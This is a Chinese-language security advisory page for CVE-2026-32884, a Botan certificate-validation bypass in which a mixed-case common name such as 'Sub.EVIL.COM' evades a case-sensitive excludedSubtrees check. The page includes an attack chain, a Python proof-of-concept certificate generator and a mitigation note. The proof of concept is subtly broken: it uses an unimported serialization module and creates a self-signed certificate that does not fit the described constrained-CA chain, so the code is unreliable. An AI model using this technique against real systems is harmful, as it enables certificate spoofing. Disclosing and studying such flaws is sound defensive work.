IPBUF安全漏洞报告
English
CVE-2026-32884 CVSS 5.9 中危

CVE-2026-32884 Botan证书验证绕过漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-32884
漏洞类型
验证绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Botan

相关标签

验证绕过证书欺骗BotanCWE-295CVE-2026-32884

漏洞概述

Botan是一个C++加密库。在3.11.0版本之前,在处理带有名称约束的X.509证书路径时,若最终实体证书未定义主题备用名称(SAN),Botan会检查CN是否被允许。由于该检查区分大小写,未考虑混合大小写的情况,导致攻击者可利用特定大小写的CN(如Sub.EVIL.COM)绕过针对evil.com的excludedSubtrees约束,从而破坏证书验证的安全性。

技术细节

该漏洞源于Botan在处理X.509证书验证时的逻辑缺陷。根据RFC 5280,如果证书包含主题备用名称(SAN),则应忽略通用名称(CN)。但在Botan 3.11.0之前的版本中,Botan在特定条件下仍会检查CN是否符合名称约束。关键问题在于,DNS名称约束的匹配逻辑是区分大小写的。当配置了排除约束(excludedSubtrees)例如evil.com时,系统期望阻止匹配该域名的证书。然而,攻击者可以生成一个证书,其CN设置为“Sub.EVIL.COM”(大写形式)。由于Botan的字符串比较是区分大小写的,它认为“Sub.EVIL.COM”不等于“evil.com”,从而允许该证书通过验证。这违反了名称约束的预期安全策略,允许攻击者伪造看似受信任但实际被排除的域名证书。

攻击链分析

STEP 1
步骤1:环境配置
攻击者确认目标系统使用Botan库(版本<3.11.0)进行证书验证,且配置了名称约束(Name Constraints),特别是对特定域名(如evil.com)设置了排除(excludedSubtrees)。
STEP 2
步骤2:构造恶意证书
攻击者生成一个X.509证书,该证书不包含主题备用名称(SAN),并将通用名称(CN)设置为混合大小写的形式(如Sub.EVIL.COM),而非被排除域名的小写形式。
STEP 3
步骤3:提交验证
攻击者向目标系统出示该恶意证书进行验证。
STEP 4
步骤4:绕过检查
Botan库在处理时,尝试将CN与排除列表进行比对。由于比对逻辑区分大小写,'Sub.EVIL.COM'不匹配'evil.com',因此证书通过了验证,成功绕过了安全限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-32884 # This script demonstrates creating a certificate with a mixed-case CN # that bypasses an excludedSubtrees constraint in vulnerable Botan versions. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa import datetime # 1. Generate a private key for the malicious certificate key = rsa.generate_private_key(public_exponent=65537, key_size=2048) # 2. Create a certificate with a mixed-case Common Name (CN) # The CN uses uppercase letters to bypass case-sensitive checks subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.COMMON_NAME, u"Sub.EVIL.COM"), # Vulnerability Trigger ]) # 3. Build the certificate without Subject Alternative Name (SAN) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).sign(key, hashes.SHA256()) # 4. Save the generated certificate with open("bypass_cert.pem", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) print("Certificate generated: CN=Sub.EVIL.COM") # When verified against a constraint excluding 'evil.com', # vulnerable Botan versions will accept this due to case sensitivity.

影响范围

Botan < 3.11.0

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对证书的CN字段进行额外的规范化处理(转换为小写后再进行匹配),确保即使底层库存在大小写敏感问题,应用逻辑也能识别并拒绝匹配被排除域名的证书。同时,确保证书包含符合RFC 5280标准的主题备用名称(SAN),减少对CN字段的依赖。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表